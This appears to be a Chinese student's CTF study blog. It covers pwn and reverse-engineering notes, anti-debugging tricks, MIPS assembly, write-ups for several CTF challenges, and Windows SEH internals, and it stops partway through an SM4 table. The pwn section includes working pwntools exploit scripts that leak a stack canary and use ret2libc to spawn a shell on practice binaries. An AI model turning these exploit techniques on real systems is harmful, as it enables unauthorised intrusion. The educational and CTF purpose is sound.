暑假学习随笔

如何荒废一暑假23333
暑假玩太爽了都没怎么学习
这篇博客记录一下我从7月14到8月24这几天来的学习把
//没学多少,大部分时间都在玩。
所以tcl

pwn出题

gcc -m32 hello.c 指定32位
gcc stack.c -fno-stack-protector -no-pie -o stack
NX:-z execstack / -z noexecstack (关闭 / 开启)    不让执行栈上的数据,于是JMP ESP就不能用了
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)  栈里插入cookie信息
PIE:-no-pie / -pie (关闭 / 开启)   地址随机化,另外打开后会有get_pc_thunk
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)  对GOT表具有写权限

花指令

简单的花就那样还是挺好分辨的
像什么jnz jz配合啥的
还有垃圾跳转等等
还是要具体问题具体分析
看题目的花是咋样的

smc

用VirtualProtect(addr,size,PAGE_READWRITE,lpflOldProtect)修改代码段权限
传入的addr定义为unsigned char*使得可以逐字节加密
最后再次调用VirtualProtect(addr,size,lpflOldProtect,lpflOldProtect)还原代码段权限
靠函数指针实现
这个比较熟悉了。。。
一般出题的话都是写个解密函数
加密代码时直接在ida里patchbyte
如果说要改进的话
可以试一下双重smc
把加密的函数也给smc了这样就不能通过交叉引用来找到加密代码
但效果没那么明显。。。

反跟踪

IsDebuggerpresent

通过读取PEB中的BeingDebugged标志来判断是否在调试
BeingDebugged位于PEB偏移2的位置
然而PEB又位于TEB偏移0x30位置,所以可以通过TEB来定位PEB
而当windows加载程序时
TEB的位置总会被加载到fs:[0]处
所以IsDebuggerpresent也能写成

1
2
3
4
5
__asm__(
"mov eax, fs:[0x30];"
"movzx eax,byte ptr [eax+2];"
);
//IsDebuggerpresent内联汇编实现

NtGlobalFlag

与BeingDebugged类似
当程序在调试时
NtGlobalFlag标志应为0x70
故有另一种IsDebuggerpresent写法

1
2
3
4
5
__asm__(
"mov eax, fs:[0x30];"
"mov eax,[eax+0x68];"
"and eax,0x70;"
);

Heap Magic

这是在x1c面试题中出现的
算是一个暗桩
不能说是反调试,但是能改变某些东西。
可以直接写代码康康测试下

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
int main()
{
int *a;
a = malloc(0x10);
printf("%x",*a);
return 0;
}

调试情况下就能看到0xBAADF00D在内存中了
1
如果这时根据malloc的数生成一个box啥的,在调试中的值和运行中的就会不一样
很恶心啊

ISCC_2019

RE

简单的xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
flag = ''
flag += chr(401978124^0x17F5B345)
flag += chr(0xF16B77E2^4050352049)
flag += chr(2998016260^ 0xB2B21947)
flag += chr(1487534536^ 0x58A9F98B)
flag += chr(547986801^ 0x20A99D0A)
flag += chr(2530761537^ 0x96D85B20)
flag += chr(0xBBEA9A56^ 0xBBEA9A3E)
flag += chr(894512607^ 0x35512DBE)
flag += chr(674815144^ 0x2838DCF7)
flag += chr(1319231476^ 0x4EA1DF87)
flag += chr(3794652292^ 0xE22DCCED)
flag += chr(3710674499^ 0xDD2C662E)
flag += chr(275462068^ 0x106B37C4)
flag += chr(1186218498^ 0x46B4426E)
flag += chr(2858928017^ 0xAA67C7F4)
flag += chr(1925213922^ 0x72C06EBD)
flag += chr(2953936653^ 0xB0117F7F)
flag += chr(4179334025^ 0xF91B93EC)
flag += chr(3560761698^ 0xD43CE914)
flag += chr(4142533768^ 0xF6EA0CED)
flag += chr(1076496869^ 0x402A0997)
flag += chr(2913777524^ 0xADACB707)
flag += chr(3885782341^ 0xE79C5520)
flag += chr(1266072881^ 0x4B76BD4C)
print flag

android

题目明显是让你用z3去约束求解的
简单来说就是奇偶分组录入然后进行一堆条件限制
多解//iscc正常操作
最后找到一段有意义的字符串
还有就是明明就是一个re题在里面藏了字符串
2
一个base64
看到这边可能有人要开喷了怎么会有这种题目
没办法,iscc正常操作。
而且装上后发现没有输入框
//估计是本来有输入框,技术支持发现多解后,就把输入框关了
//沙雕题

pwn

pwn的高地和私地题目搞反了把。。。
高地过于简单,就一个栈溢出,后门都写好了
私地呢。。。

总结一下。。。第一次打国家级的比赛,氛围很。。。差
北理工主办方俩支队伍被锤的20开外
py的太多了
心知肚明

mips入门

mips64题目大致写法

1.运行
qemu-mips64 ./mips64

2.调试
qemu-mips64 -g 9999 ./mips64
开启端口
下面可以选择用gdb还是用ida调
//不怎么喜欢ida,还是用ida来静态分析比较好
//而且ida调一次崩一次,下面与gdb交互的窗口也莫名不能用

2.1
gdb调试
/usr/local/mips64-gdb/bin/mips64-linux-gdb
file mips64
set architecture mips:isa64r2 //设置类型
target remote localhost:9999

3.断点
使用-strace参数
明确分析断点
然后疯狂下断点查看

还需要注意一下流程图。主要还是定位关键代码
配合猜测基本可以做

mips32汇编

首先有贼多的寄存器。。。

存储指令集/相对偏移

l s指令就是加载和存储
la就是lea取地址
lw $t2, ($t0)
()就是[]指针
sw $t2, -12($t0)
相对偏移什么的标记在前面
sw是前面赋给后面
相对偏移也要注意类型
sw $t1, 4($t0)
就是给$t0下一个word赋值$t1

算术指令集

add $t0,$t1,$t2 # $t0 = $t1 + $t2;
sub $t2,$t3,$t4 # $t2 = $t3 Ð $t4
addi $t2,$t3, 5 # $t2 = $t3 + 5; badd immediatei (no sub immediate)
addu $t1,$t6,$t7 # $t1 = $t6 + $t7; add as unsigned integers
subu $t1,$t6,$t7 # $t1 = $t6 + $t7; subtract as unsigned integers
很简单易懂啊

控制流指令集

if else
b target # unconditional branch to program label target
beq $t0,$t1,target # branch to target if $t0 = $t1
blt $t0,$t1,target # branch to target if $t0 < $t1
ble $t0,$t1,target # branch to target if $t0 <= $t1
bgt $t0,$t1,target # branch to target if $t0 > $t1
bge $t0,$t1,target # branch to target if $t0 >= $t1
bne $t0,$t1,target # branch to target if $t0 != $t1
和x86大同小异
把b改成j的话就认识了

jump
j target      # unconditional jump to program label target
jr $t3 # jump to address contained in $t3 (bjump registeri)

call
jal sub_label # bjump and linki

return
jr $ra //$ra保存着返回地址
如果多次调用函数
返回地址就用栈来存储

mips64

其实没多大变化。。。
32位word,64位double
运算类:add变成dadd,同理sub/mul/div变成dsub/dmul/ddiv
访存: lw变成ld, sw变成sd
寄存器名: S0/S1… 全部变为r0/r1/… / r31

具体注意点

movz r1,r2,r3 If(r3==0) r1=r2
movn reg,reg,reg move if register not equal to zero
mov.s freg,freg move floating-point(single FP )
mov.d freg,freg move floating-point(double FP )
mtc1 reg,freg move data from integer register to FP register
mfc1 reg,freg move data from FP register to integer register
lui reg,imm load upper half of register immediate

标志位

c.lt.d freg,freg set FP flag if less than//在double范围内,如果是float则是c.lt.s,查看fpu可用i fl
c.eq.d freg,freg set FP flag if equal to
c.le.d freg,freg set FP flag if less than or equal to

slt reg,reg,reg set if less than
dslt reg,reg,reg
sltu reg,reg,reg
slti reg,reg,imm
sltiu reg,reg,imm

跳转

j imm jump to address (不会保存返回地址)
jr reg jump to address in register (不会保存返回地址)
jal imm 跳转到imm地址并且将返回地址记录在寄存器ra中(会保存)
jalr reg jump and link to address in register (会保存)

beqz reg,imm branch if register is equal to zero
bnez reg,imm branch if register is not equal to zero
beq reg,reg,imm branch if pair of registers are equal
bne reg,reg,imm branch if pair of registers are not equal
bc1t imm branch to address if FP flag is TRUE
bc1f imm branch to address if FP flag is FALSE

控制

nop no operation
halt stops the program

另外mips64遇到跳转指令时都会使用到分支延迟

1
2
3
4
5
6
.text:0000000120003C20 loc_120003C20:
.text:0000000120003C20 c.lt.s $fcc6, $f1, $f0
.text:0000000120003C24 bc1f $fcc6, loc_120003B24
.text:0000000120003C28 ld $t9, -0x7F68($gp)
.text:0000000120003C2C ld $a0, -0x7F78($gp)
.text:0000000120003C30 ld $a1, -0x7F58($gp)

如下面的代码片段,bc1f是跳转指令,满足条件跳转至 loc_120003B24 。无论是否满足跳转条件,都会先执行 ld $t9, -0x7F68($gp) 那条指令,再跳到 loc_120003B24 或者 ld $a0, -0x7F78($gp) 。gdb断点只能下到 0x120003C24 或 0x120003C2C,无法下到0x120003C28。
当然平时调试的时候也能多注意像$a0这样的
因为mips调用函数的参数往往放在这
而像这样的寄存器往往存着你的输入
好了mips暂且告一段落。。。

pwn_learning

stack_smash

有canary情况下可以使用
但是只能达成任意地址读写

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

主要原理就是覆盖argv[0]为你想读出的地址
具体可见jarvisoj的smash
当然这题还涉及到了elf的映射
bss段会被映射俩次
在pwndbg中使用search ‘xxx’就行啦

partial overwrite

例题是安恒杯月赛的babypie
这边涉及到的知识点比如说read函数不补\0
外加上printf所以我们可以leak canary
还有就是off by one
程序开启了pie但是保存的返回地址与后门函数只有最后一字节不同
所以可以off by one
3
可以看到输入40个a后
canary结尾处是0
我们可以输入41个覆盖0
这样就能把canary打出

1
2
3
4
5
6
7
8
9
10
from pwn import *
a = process("./babypie")
pay = 'a'*41
a.recvuntil("Name:")
a.send(pay)
a.recvuntil(pay)
canary = '\0' + a.recv(7)
pay2 = 'a'*40 + canary + 'bbbbbbbb' + chr(0x3e)
a.send(pay2)
a.interactive()

frame faking

看着头疼的东西
睡前写一波
大致原理已经搞得差不多了
主要是溢出位数不够构造ebp进行俩次leave ret
为什么要俩次leave ret?
其实目的是让你构造得ebp赋值给esp
然后esp改变,第二次ret得地址就为esp那边的了
假如说我们把构造的ebp整到一个我们可控得内存区域
这样就能劫持控制流了
当然frame faking有个使用前提
一个是知道栈地址,还有就是能栈溢出且有一块写的内存区域
和劫持栈指针有点相似
明天再把题目整一下
花式栈溢出即将完结

1
撒花

例题

安恒杯的over

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p_r = 0x400793
elf = ELF("./over")
libc = elf.libc
a = process("./over")
pay = 'a'*80
a.recvuntil(">")
a.send(pay)
a.recvuntil('a'*80)
fake = u64(a.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
a.recvuntil(">")
pay = '11111111' + p64(p_r) + p64(elf.got['puts']) + p64(elf.symbols['puts']) + p64(0x400676)
pay += 'a'*(0x50-len(pay))
pay += p64(fake)
pay += p64(0x4006BE)
a.send(pay)
print 'dividing line'
base = u64(a.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
sys = libc.symbols['execve'] + base
sh = libc.search('/bin/sh').next() + base
p_p_r = 0x1150c9 + base
pay2 = '22222222'
pay2 += p64(p_r) + p64(sh)
pay2 += p64(p_p_r) + p64(0) + p64(0)
pay2 += p64(sys)
pay2 += 'b'*(80-len(pay2))
pay2 += p64(fake-0x30)
pay2 += p64(0x4006BE)
a.recvuntil(">")
print '****************'
print hex(fake)
print '****************'
print hex(base)
a.send(pay2)
a.interactive()

这题配合了ret2libc
写完后从原理上面想了想确实和劫持栈指针一个样。。。

信安数基学习

信安数基这玩意其实感觉特别重要啊
和密码学有点链接,大一的时候看过点密码学书,感觉能看懂原理但是不能深入理解毕竟涉及到了大部分的数学知识
正好趁着暑假学习一下

整除&性质

简记b|a为b整除a
性质1:b与-b,a/b都遍历了a的因数
性质2:传递性 比如abc!=0,且都为整数,有b|a,c|b,则c|a
当然在加法运算中这也成立
b|a,b|c,所以b|(a±c)
性质3:线性性质
c|a,c|b对于任意整数s,t有 c|sa+tb
这边还能推广为多个线性组合就不写出来了

素数与厄拉托塞师筛法

前面这一部分都不怎么难。。。简单讲讲
素数什么的就不介绍了
这一章涉及的大部分都在大一上c语言见过
比如不小于n的素数啊
就是从小于等于根号n开始
定理1:设n为正合数,p是n的一个大于1的最小正因数,则p一定是素数且p<=根号n
定理2:对于正整数n,如果对于所有素数p<=根号n都有p|n,则n为素数
定理3:素数有无穷多个

欧几里得除法&素数平凡判别

定理:对于a,b俩个整数,其中b大于0,则存在唯一的整数q,r使得 a = q*b + r, (0 <= r < b)
所以b|a <=> r = 0
很明显q是a被b除的不完全商,r是余数
C语言中的/ 和 %的结果。。。
定义:即[x]为整数部分小于等于x的最大整数
所以q就可以用[a/b]来表示
素数的平凡判别简单来说就是对于正整数n,把小于等于根号n的素数s全拿出来
如果n%s != 0对所有s都成立
则n为素数

最大公因数&广义欧几里得除法

大部分都学过
注意一个就是 对于 a = qb + c 有(a,b) = (b,c)
广义欧几里得除法就是用来求解最大公因数的通过递归可以实现
比如求a,b得最大公因数
a = c
b + r
b = c1r + r1
r = c2
r1
所以最大公因数是r1
//可以轻松编程实现

贝祖等式

sa + tb = (a,b)
其实就是把广义欧几里得除法反过来用
互素的话则值为1

最大公因数的进一步性质

大致就是涉及到多个整数最大公因数计算

整数的进一步性质和最小公倍数

任意整数都可以化为若干素数的乘积
其实如果不是素数的话,那个数也能继续化简,稍微想下就可以得到

同余

同余和取模有关啦
密码学中也有讲到这一概念
a = b + q*m
就有 a%m = b%m
还有许多推论如 整数n被3整除 同余 系数和被三整除

VM逆向

以前vm一直是用angr啥的骚操作来解决的
这个坑必须填一下
这次来试一下手逆

RCTF 2018

很带劲啊这题
先是跟了半天的vm然后发现他在打出input the flag
。。。
6
可以看到case 0xb就是putchar
录入flag就是在case 0xa那边了,因为用的是getchar所以调试一波可以发现输入的flag长度
应该为32
然后程序对它进行了异或操作。。。
这边的异或实现形式有点奇葩
c = ~(a&b)
temp1 = ~(c&a)
temp2 = ~(c&b)
a^b = ~(temp1&temp2)
没错就是这样的。。。
至于这是xor证明起来也不难
直接枚举一下//一开始我也没有想到这个方法,听室友说的
然后会有个验证,验证就是个if分支判断
7
如果输入是错的直接就putchar wrong

1
2
3
4
5
a = [9,0x58,0xc,0xa,0x5f,0x58,8,0x5a,0x56,0x5,0x53,0x51,0x57,1,0x54,0x53,0x18,0x48,0x49,0x1f,0x12,0x4b,0x1d,0x10,0x17,0x40,0x47,0x15,0x14,0x43,0x18,0x10]
flag = ''
for i in range(len(a)):
flag += chr(a[len(a)-1-i]^(0x20+i))
print flag

最后的脚本。。。
第一次写vm
属实笨比

De1CTF 2019

Re_Sign

UPX加壳
脱完后发现。。。。。。
代码量极其长//那时候还不知道是易语言写的
跟了一会发现就是个改了码表的base64
sub_401233解密码表
后面把加密后的下标与正确下标相比较

1
2
3
4
5
6
7
8
9
10
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
b = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm'
c = 'H6AfGzIeXjSCP3IaHzSBHhRCEFRCOhRWHAohFjxjOeqjCU'
flag = ''
for i in range(len(c)):
for j in range(len(a)):
if c[i] == b[j]:
flag += a[j]
break
print flag

解一下base64即可

Cplusplus

hint里面有md5很明显这又是一道多解题
总共4次check
中间有time反调试
第一次check是sub_140005910
主要是检查是否是数字+@+数字+#+数字
第二次是sub_1400029B0
判断第一段数字是否合格
首先会有个大小判断
4
判断是否大于111大于就gg
然后下面是根据输入的一个判断
因为懒。。。这边我直接爆破
也就111次,最后发现应该输入为78
多解就出现在这边。。。可以输入078,78,0078啥的
然后就是下面的check,很简单就是比较下标而已
5
这边的反调试被我patch掉了
第二段数字应该是20637
然后就是第三段
if ( WORD2(v51) % (unsigned int)(unsigned __int16)v51 != 12 && WORD2(v51) / (unsigned int)(unsigned __int16)v51 != 3 )
这边就是第三段的check
z3写一下完事
发现应该是114
所以flag
de1ctf{78@20637#114}

Evil_boost

沙雕题
中间还放了假flag
是个算24点
输入限制为5数字一小写字母,小写字母放在第二个必须是e//这个是在某个代码段中看到的,但是不是e也能过,可以说十分沙雕
还有5填充符可以用/()-*
这时候就能猜测是不是再算什么东西了。。。
最后猜到了24点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hashlib

import string


def crackMd5(dst):
dst = dst.lower()

for a in range(0,10):

for b in range(0,10):

for c in range(0,10):

for d in range(0,10):

for e in range(0,10):

word = 'de1ctf{' + str(a) + 'e' + str(b) + '*(' + str(c) + '-' + str(d) + '/' + str(e) + ')}'

tmp = hashlib.md5(word).hexdigest()

if dst == tmp:
return word

return None


if __name__ == "__main__":
raw_input(crackMd5("293316bfd246fa84e566d7999df88e79"))

最后还是靠着爆破写出来的

Signal vm

学长写的,写完后复现了发我
发现就是个矩阵求解问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -*- coding: UTF-8 -*-
from z3 import *
a = [65, 108, 109, 111, 115, 116, 32, 104, 101, 97, 118, 101, 110, 32, 119, 101, 115, 116, 32, 118, 105, 114, 103, 105, 110, 105, 97, 44, 32, 98, 108, 117, 101, 32, 114, 105, 100, 103, 101, 32, 109, 111, 117, 110, 116, 97, 105, 110, 115, 0]
b = [0xD6, 0x4D, 0x2D, 0x85, 0x77, 0x97, 0x60, 0x62, 0x2B, 0x88,
0x86, 0xCA, 0x72, 0x97, 0xEB, 0x89, 0x98, 0xF3, 0x78, 0x26,
0x83, 0x29, 0x5E, 0x27, 0x43, 0xFB, 0xB8, 0x17, 0x7C, 0xCE,
0x3A, 0x73, 0xCF, 0xFB, 0xC7, 0x9C, 0x60, 0xAF, 0x9C, 0xC8,
0x75, 0xCD, 0x37, 0x7B, 0x3B, 0x9B, 0x4E, 0xC3, 0xDA, 0xD8,
0xCE, 0x71, 0x2B, 0x30, 0x68, 0x46, 0x0B, 0xFF, 0x3C, 0xF1,
0xF1, 0x45, 0xC4, 0xD0, 0xC4, 0xFF, 0x51, 0xF1, 0x88, 0x51]
s = Solver()
key = [BitVec('u%d'%i,8) for i in range(70)]
for i in range(10):
for j in range(7):
s.add(b[i*7+j] == key[i*7]*a[j]+key[i*7+1]*a[7*1+j]+key[i*7+2]*a[7*2+j]+key[i*7+3]*a[7*3+j]+key[i*7+4]*a[7*4+j]+key[i*7+5]*a[7*5+j]+key[i*7+6]*a[7*6+j])
flag = ''
if s.check() == sat:
result = s.model()
for i in range(70):
flag += chr(result[key[i]].as_long().real)
print flag

sctf 2019

sctf因为在考试周所以没打。。。
//导致现在xctf联赛要凉了
抽时间把题目搞一搞
还好当时保存下来了

crackme

这题当时没写出来是吧关键的函数给直接patch了。。。
13
前俩个函数,涉及了最后匹配的密文修改,我以为是反调试直接给patch了
然后gg
14
后面就是一个aes cbc模式直接解密就完事了
这边学习一波seh异常处理
debugbreak没有在调试下的话会抛出异常,然后seh跳过去
如果在调试状态下的话就会继续运行。。。
//类似反调试了
15
跳过去后就是一些smc操作
nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo=
aes解得
sctf{Ae3_C8c_I28_pKcs79ad4}

babyre

我佛了
还有非预期。。。被我撞上了
首先就是去花,直接手去了,很简单的花而已这边不演示
16
第一个问题是maze,输入sxss直接完事了。。。
后来看了wp发现居然不一样,十分蒙蔽。。。
//说到底还是tcl,没看出来这是立体迷宫
//但是后来又想了想还是觉得这迷宫出的有点hape
然后就是一个base64解码操作,函数也有花轻松去
17
可以看到很明显的解码操作
直接把比较字符串加密就ok了
c2N0Zl85MTAy
然后最后也是我最烦的加密算法
看了wp发现是魔改sm4
当时看出来是sm4了,国赛的sm4我直接把密钥倒着输出的答案
//国赛那个后来知道是sm4,再看看这题的算法和国赛的是分相似,所以可以推断sm4
但是这个魔改的只看到一个box。。。瞬间懵逼。。。
//其实就是太懒了没仔细看,仔细看马上就知道怎么写
看了wp才写出来的
fl4g_is_s0_ug1y!

学习总结

这边主要总结一下俩个
一个是涉及的seh,还有一个就是sm4逆向

前置知识

TEB(Thread Environment Block,线程环境块)

先了解一下前置只是tep线程管理
就是一个存放线程信息的一个结构体
每个线程维护着自己的一个TEB,且可以通过FS寄存器直接根据offset提取信息,很是方便。

TIB(Thread Information Block,线程信息块)

offset为0
ExceptionList,即指向_EXCEPTION_REGISTRATION_RECORD结构的指针链表,和SEH相关,涉及到异常处理
stackBase,该线程的stack地址
stackLimit,该线程的stack的limit,实际上就是栈的结束位置
self,即指向TEB的指针,在程序中看到的fs:[0x18]也就是拿到了TEB

ProcessEnvironmentBlock

指向的是PEB,在程序中常见的ptr fs:[0x30]也就是拿到了PEB的地址,因为现在的windows已经有了地址随机化的功能,所以基本上都是用这种方式来拿到PEB的

PEB

这个就很熟悉了,毕竟和反调试有点关系
当我们找到了TEB时实际上我们也就找到了PEB(Thread Environment Block,线程环境块)
通过FS:[0x30]我们就可以轻松的拿到PEB的地址
实际上PEB是一个进程内核对象,在没有开启随机化的情况下,它的地址在32位上就是0x7ffd7000,很明显是一个用户空间的可访问数据,当为了能在具体运行环境下拿到他的地址还是FS:[0x30]更为保险,当然也可以通过EPROCESS来访问,不过一是EPROCESS位于内核空间,访问需要Ring0权限,二来和要讨论的LDR调试也没关系,所以这里就不提了

BeingDebugged &&NtGlobalFlag

前面记录过这个
是用来判断我们是否处于调试状态的
win32有个API叫做IsDebuggerPresent
就是通过拿到它来判断程序是不是处于被调试状态的
你可以用它来实现最最简单的反调试,下面就是函数的源码:

1
2
3
4
IsDebuggerPresent(VOID)
{
return NtCurrentPeb()->BeingDebugged;
}

那你可能又会想了,为什么这么简单,如果我们在调试过程中手动修改内存不就可以绕过了吗?
其实没那么简单,
BeingDebufgged被设置为了true会导致一系列的“连锁反应”
首先是NtGlobalFlag修改
然后就是RtlCreateHeap会调用RtlDebugCreateHeap创建调试堆
这里面有很多0xbaadf00d前面讲过

SEH异常处理

首先什么是异常?
异常就是对于非预期状况的处理
当我们运行某个程序出现了异常状况,就会进入异常处理流程
发现异常 -> 寻找处理异常的方法 -> 恢复执行或者发生错误
其中异常还分为软件异常和硬件异常,硬件异常有涉及中断,系统调用等行为

硬件异常

硬件异常主要分为三种

fault

在处理此类异常时,操作系统会将遭遇异常时的“现场”保存下来(比如EIP、CS等寄存器的值),然后将调用相应的异常处理函数,如果对异常的处理成功了(没成功的情况会在下文中提到),那就恢复到原始现场,继续执行。最经典的fault例子莫过于Page Fault了,在分页机制下,当我们读到某个还未载入到内存的页时,就会触发该异常,操作系统会将该页载入内存,然后重新执行读取该页的指令,这是分页机制实现的重要机制。

trap

在处理此类异常时,操作系统会将异常的“下文”保存,在处理异常后,直接执行导致异常的指令的下一条指令。我们在调试过程中常用的断点操作就是基于这类异常的,当我们在某处下断点时调试器会将原本此处的指令对应的十六进制保存下来,然后替换第一个字节替换为0xCC的,也就是int 3,造成断点异常,中断(此处的中断用的是break,而我们一般说的中断是interrupt,请读者务必区分清楚)到调试器,程序在运行到此处就会停止等待下一步的指令,而当我们继续执行时调试器就会将该指令替换为原来的指令,程序也就恢复正常执行了。不知道大家有没有注意过,在进行程序调试时经常会看见hex界面显示大量的“烫烫烫”,这其实是0xcc对应的中文字符,因为这些地址的内容程序并不想让我们访问,一旦我们访问这些地址,就会读到0xcc,程序也就“中断”了。

abort

中止异常,主要是处理严重的硬件错误等,这类异常不会恢复执行,会强制性退出。
在windows系统中,硬件异常和中断被不加区分的存放在了一个向量表中,也就是我们常说的IDT(interruption descriptor table)
真正的IDT实际上是维护了多个门描述符(GD),每一项大小为8(64位为16),IDRT寄存器中保存着IDT的基地址,我们想具体找某个GD的话直接利用IDTR+8*offset即可。
GD大致由segment selector(段选择子)、offset(选定段后的偏移)、DPL(描述符特权级)、P(段是否存在)组成
当windows系统启动时,winLoad会在实模式下分配一块内存,使用CLI指令来禁止中断的使用,利用LIDT(Load IDT)指令将IDT表的位置和长度等信息交给CPU,接着系统恢复保护模式,这时的执行权交还给了入口函数,调用SIDT(set IDT)拿到之前存储的IDT的信息,并将其记录到PCR中,接着其他处理器也会进行初始化的操作,复制并修改自己的IDT,在一切准备就绪后,调用STL指令恢复中断的使用。调用的函数链如下:
winLoad -> kiSystemStartup -> kiInitializePcr ->keStartAllProcessors -> kiInitProcessors

软件异常

软件异常是由操作系统或应用程序产生的,它又包含了windows为我们定义好的异常处理和我们自己写的异常处理(各种编程语言中的try-catch结构)。
这类异常追根溯源都是基于RaiseException这个用户态API和NtRaiseException的内核服务建立起来的。
RaiseException的函数原型:
void RaiseException(DWORD dwExceptionCode , DWORD dwExceptionFlags,DWORD nNumberofArguments,const DWORD* lpArguments);

异常的的分发处理

USER

内核态的就略过了,因为一般ctf钟都是与user相关
user的异常处理就类似我们平常编程中的try catch
在调试下会判断是否给调试器处理异常

SEH

。。。。。。
看了半天的书硬是没看懂
都看蒙蔽了
和当年看pe文件结构一个样
参考加密与解密 and 简书某dalao
功能
SEH实际包含两个主要功能:结束处理(termination handling)和异常处理(exception handling)
每当你建立一个try块,它必须跟随一个finally块或一个except块。
一个try块之后不能既有finally块又有except块。但可以在try-except块中嵌套try-finally块,反过来 也可以。
__try,__finally关键字用来标出结束处理程序两段代码的轮廓
不管保护体(try块) 是如何退出的。不论你在保护体中使用return,还是goto,或者是longjump,结束处理程序 (finally块)都将被调用。
在try使用__leave关键字会引起跳转到try块的结尾
TIB结构:在用户模式下,TIB(ThreadInformationBlock)位于TEB的头部。而TEB是操作系统为了保存每个线程的私有数据创建的,每个线程都有自己的TEB。

1
2
3
nt!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : Ptr32 Void

下面是TIB结构

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _NT_TIB          //sizeof  1ch
{
00h struct _EXCEPTION_REGISTRATION *ExceptionList; //SEH链入口
04h PVOID StackBase; //堆栈基址
08h PVOID StackLimit; //堆栈大小
0ch PVOID SubSystemTib;
union {
PVOID FiberData;
10h DWORD Version;
};
14h PVOID ArbitraryUserPointer;
18h struct _NT_TIB *Self; //本NT_TIB结构自身的线性地址
}NT_TIB;

所以流程图一般是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------+    +----------------+      +---------------+
| 发生异常 +--->+ TIB +----->+ Next +--+
| | | fs:[0] | +---------------+ | +------------------+
+---------+ +----------------+ | Handler +-------------->+ 异常处理函数 |
+---------------+ | | ... |
| | retn |
+----------+ +------------------+
|
+-------v-------+
| Next +--+
+---------------+ | +------------------+
| Handler +-------------->+ 异常处理函数 |
+---------------+ | | ... |
| | retn |
+----------+ +------------------+
|
+-------v-------+
| FFFFFFh |
+---------------+ +------------------+
| Handler +-------------->+ 异常处理函数 |
+---------------+ | ... |
| retn |
+------------------+

next是下一个链的地址。如果next的值是FFFFFFh,表示是链表的最后一个节点,该节点的回调函数是系统设置的一个终结处理函数,所有无人值守的异常都会到达这里。
异常处理函数可以是自定义的函数,系统有一个默认的函数,但我们可以自定义一个异常处理函数,让它来处理。
示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <Windows.h>
#include <iostream>
int exception_memory_access_violation(LPEXCEPTION_POINTERS p_exinfo)
{
if (p_exinfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
{
return EXCEPTION_EXECUTE_HANDLER; //handle this exception
}
else return EXCEPTION_CONTINUE_SEARCH; //Do not handle this exception
}

int main()
{
char* mem = 0;
std::cout << "Hello World!\n";
__try {
*mem = 0; //throw exception
}
__except (exception_memory_access_violation(GetExceptionInformation())) //handler
{
puts("Memory error in except");
}
}

逆向分析
18
果然ida没反编译出来。。。
ida貌似不能反编译try catch这种异常处理
但是看汇编流程图还是能看到
19
函数一开始就把seh结构体push进去了
在结构体那边的地址断点就ok了
//具体是怎么样还不是很清楚。。。
//这个坑以后再好好填
//第一次遇到,下次写题一定要认出来啊

魔改sm4

这个魔改的其实写起来特别简单
由前四输入推出第五个,然后不断循环
解密只需要用后四推出前面就行了
本来想用骚操作patch来写。但是失败了不知道为啥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define ROL(x, r)  (((x) << (r)) | ((x) >> (32 - (r))))
#define ROR(x, r) (((x) >> (r)) | ((x) << (32 - (r))))
unsigned char v3[288]={0x0D6, 0x90, 0x0E9, 0x0FE, 0x0CC, 0x0E1, 0x3D, 0x0B7, 0x16, 0x0B6, 0x14, 0x0C2, 0x28, 0x0FB, 0x2C, 0x5, 0x2B, 0x67, 0x9A, 0x76, 0x2A, 0x0BE, 0x4, 0x0C3, 0x0AA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9C, 0x42, 0x50, 0x0F4, 0x91, 0x0EF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0x0ED, 0x0CF, 0x0AC, 0x62, 0x0E4, 0x0B3, 0x1C, 0x0A9, 0x0C9, 0x8, 0x0E8, 0x95, 0x80, 0x0DF, 0x94, 0x0FA, 0x75, 0x8F, 0x3F, 0x0A6, 0x47, 0x7, 0x0A7, 0x0FC, 0x0F3, 0x73, 0x17, 0x0BA, 0x83, 0x59, 0x3C, 0x19, 0x0E6, 0x85, 0x4F, 0x0A8, 0x68, 0x6B, 0x81, 0x0B2, 0x71, 0x64, 0x0DA, 0x8B, 0x0F8, 0x0EB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0x0D1, 0x0A2, 0x25, 0x22, 0x7C, 0x3B, 0x1, 0x21, 0x78, 0x87, 0x0D4, 0x0, 0x46, 0x57, 0x9F, 0x0D3, 0x27, 0x52, 0x4C, 0x36, 0x2, 0x0E7, 0x0A0, 0x0C4, 0x0C8, 0x9E, 0x0EA, 0x0BF, 0x8A, 0x0D2, 